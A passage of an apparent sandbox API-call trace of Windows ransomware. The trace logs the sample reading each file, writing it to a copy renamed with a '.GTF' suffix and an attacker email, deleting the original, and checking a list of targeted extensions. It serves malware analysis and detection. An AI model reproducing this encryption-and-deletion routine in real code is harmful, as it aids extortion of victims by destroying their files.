	[0065.336] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1510c, lpOverlapped=0x0) returned 1
	[0066.184] WriteFile (in: hFile=0x320, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x15110, lpOverlapped=0x0) returned 1
	[0066.187] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.187] WriteFile (in: hFile=0x320, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.187] SetEndOfFile (hFile=0x320) returned 1
	[0066.187] CloseHandle (hObject=0x320) returned 1
	[0066.190] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.190] SetEndOfFile (hFile=0x2fc) returned 1
	[0066.191] CloseHandle (hObject=0x2fc) returned 1
	[0066.191] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.192] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1
	[0066.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.192] lstrlenW (lpString=".doc") returned 4
	[0066.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString=".docx") returned 5
	[0066.192] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.192] lstrlenW (lpString=".pdf") returned 4
	[0066.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString=".xls") returned 4
	[0066.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString=".xlsx") returned 5
	[0066.192] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.192] lstrlenW (lpString=".ppt") returned 4
	[0066.192] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.192] lstrlenW (lpString=".zip") returned 4
	[0066.192] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.192] lstrlenW (lpString=".rar") returned 4
	[0066.192] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString=".bz2") returned 4
	[0066.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.192] lstrlenW (lpString=".7z") returned 3
	[0066.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.192] lstrlenW (lpString=".dbf") returned 4
	[0066.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".1cd") returned 4
	[0066.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".jpg") returned 4
	[0066.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".doc") returned 4
	[0066.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString=".docx") returned 5
	[0066.193] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.193] lstrlenW (lpString=".pdf") returned 4
	[0066.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString=".xls") returned 4
	[0066.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString=".xlsx") returned 5
	[0066.193] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.193] lstrlenW (lpString=".ppt") returned 4
	[0066.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".zip") returned 4
	[0066.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.193] lstrlenW (lpString=".rar") returned 4
	[0066.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString=".bz2") returned 4
	[0066.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString=".7z") returned 3
	[0066.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".dbf") returned 4
	[0066.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.193] lstrlenW (lpString=".1cd") returned 4
	[0066.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.194] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0066.194] lstrlenW (lpString=".jpg") returned 4
	[0066.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.194] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.194] lstrlenW (lpString="eula.rtf") returned 8
	[0066.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0066.194] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6851) returned 1
	[0066.194] CloseHandle (hObject=0x2fc) returned 1
	[0066.194] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0066.194] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0066.194] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.194] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.361] GetLastError () returned 0x0
	[0066.361] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1ac3, lpOverlapped=0x0) returned 1
	[0066.362] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0066.363] ReadFile (in: hFile=0x2fc, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.363] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.363] SetEndOfFile (hFile=0x314) returned 1
	[0066.363] CloseHandle (hObject=0x314) returned 1
	[0066.365] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.365] SetEndOfFile (hFile=0x2fc) returned 1
	[0066.366] CloseHandle (hObject=0x2fc) returned 1
	[0066.366] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.366] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1
	[0066.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.366] lstrlenW (lpString=".doc") returned 4
	[0066.366] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.366] lstrlenW (lpString=".docx") returned 5
	[0066.366] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.367] lstrlenW (lpString=".pdf") returned 4
	[0066.367] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString=".xls") returned 4
	[0066.367] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.367] lstrlenW (lpString=".xlsx") returned 5
	[0066.367] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.367] lstrlenW (lpString=".ppt") returned 4
	[0066.367] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString=".zip") returned 4
	[0066.367] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.367] lstrlenW (lpString=".rar") returned 4
	[0066.367] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString=".bz2") returned 4
	[0066.367] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString=".7z") returned 3
	[0066.367] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString=".dbf") returned 4
	[0066.367] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString=".1cd") returned 4
	[0066.367] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString=".jpg") returned 4
	[0066.367] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.367] lstrlenW (lpString=".doc") returned 4
	[0066.367] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString=".docx") returned 5
	[0066.367] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.367] lstrlenW (lpString=".pdf") returned 4
	[0066.367] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.367] lstrlenW (lpString=".xls") returned 4
	[0066.367] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.368] lstrlenW (lpString=".xlsx") returned 5
	[0066.368] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.368] lstrlenW (lpString=".ppt") returned 4
	[0066.368] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.368] lstrlenW (lpString=".zip") returned 4
	[0066.368] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.368] lstrlenW (lpString=".rar") returned 4
	[0066.368] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.368] lstrlenW (lpString=".bz2") returned 4
	[0066.368] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.368] lstrlenW (lpString=".7z") returned 3
	[0066.368] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.368] lstrlenW (lpString=".dbf") returned 4
	[0066.368] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.368] lstrlenW (lpString=".1cd") returned 4
	[0066.368] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0066.368] lstrlenW (lpString=".jpg") returned 4
	[0066.368] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.368] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.368] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.614] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=86442) returned 1
	[0066.614] CloseHandle (hObject=0x31c) returned 1
	[0066.614] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0066.614] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.616] GetLastError () returned 0x0
	[0066.616] ReadFile (in: hFile=0x31c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x151aa, lpOverlapped=0x0) returned 1
	[0066.629] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x151b0, lpOverlapped=0x0) returned 1
	[0066.631] ReadFile (in: hFile=0x31c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.631] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.631] SetEndOfFile (hFile=0x314) returned 1
	[0066.631] CloseHandle (hObject=0x314) returned 1
	[0066.634] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.634] SetEndOfFile (hFile=0x31c) returned 1
	[0066.635] CloseHandle (hObject=0x31c) returned 1
	[0066.635] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.635] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString=".doc") returned 4
	[0066.636] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString=".docx") returned 5
	[0066.636] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.636] lstrlenW (lpString=".pdf") returned 4
	[0066.636] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString=".xls") returned 4
	[0066.636] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString=".xlsx") returned 5
	[0066.636] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.636] lstrlenW (lpString=".ppt") returned 4
	[0066.636] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString=".zip") returned 4
	[0066.636] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.636] lstrlenW (lpString=".rar") returned 4
	[0066.636] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString=".bz2") returned 4
	[0066.636] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString=".7z") returned 3
	[0066.636] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString=".dbf") returned 4
	[0066.636] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString=".1cd") returned 4
	[0066.636] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.636] lstrlenW (lpString=".jpg") returned 4
	[0066.636] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString=".doc") returned 4
	[0066.637] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString=".docx") returned 5
	[0066.637] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.637] lstrlenW (lpString=".pdf") returned 4
	[0066.637] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString=".xls") returned 4
	[0066.637] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString=".xlsx") returned 5
	[0066.637] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.637] lstrlenW (lpString=".ppt") returned 4
	[0066.637] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString=".zip") returned 4
	[0066.637] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.637] lstrlenW (lpString=".rar") returned 4
	[0066.637] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString=".bz2") returned 4
	[0066.637] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString=".7z") returned 3
	[0066.637] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString=".dbf") returned 4
	[0066.637] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString=".1cd") returned 4
	[0066.637] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.637] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0066.637] lstrlenW (lpString=".jpg") returned 4
	[0066.637] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.637] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.638] lstrlenW (lpString="eula.rtf") returned 8
	[0066.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.638] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3643) returned 1
	[0066.638] CloseHandle (hObject=0x304) returned 1
	[0066.638] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0066.638] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.638] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.639] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.639] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.639] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.640] GetLastError () returned 0x0
	[0066.640] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xe3b, lpOverlapped=0x0) returned 1
	[0066.646] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe40, lpOverlapped=0x0) returned 1
	[0066.647] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.647] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.648] SetEndOfFile (hFile=0x31c) returned 1
	[0066.648] CloseHandle (hObject=0x31c) returned 1
	[0066.648] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.648] SetEndOfFile (hFile=0x304) returned 1
	[0066.649] CloseHandle (hObject=0x304) returned 1
	[0066.649] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.650] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1
	[0066.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.650] lstrlenW (lpString=".doc") returned 4
	[0066.650] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString=".docx") returned 5
